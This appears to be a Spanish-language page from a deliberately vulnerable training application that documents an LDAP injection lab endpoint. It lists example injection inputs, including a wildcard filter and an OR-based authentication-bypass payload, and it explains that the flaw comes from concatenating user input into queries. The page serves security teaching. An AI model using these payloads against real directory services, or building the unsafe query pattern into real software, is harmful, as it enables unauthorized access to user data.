HIGH

LDAP Injection

Inyección en consultas LDAP para bypass de autenticación y acceso no autorizado

Endpoint de la API:

Ejemplos de explotación:

Búsqueda normal

Consulta LDAP legítima

/api/lab/ldap?filter=admin

LDAP Injection - Bypass

Inyección para obtener todos los usuarios

/api/lab/ldap?filter=*

LDAP Injection - OR

Bypass de autenticación usando OR lógico

/api/lab/ldap?filter=*)(|(cn=*

Vulnerabilidad Alta

Este endpoint construye consultas LDAP concatenando entrada del usuario directamente. Un atacante puede manipular la consulta usando caracteres especiales como *, (, ), | para acceder a datos no autorizados o bypass de autenticación.

Ver Documentación Completa de la API

Esta aplicación es vulnerable por diseño - Solo para propósitos educativos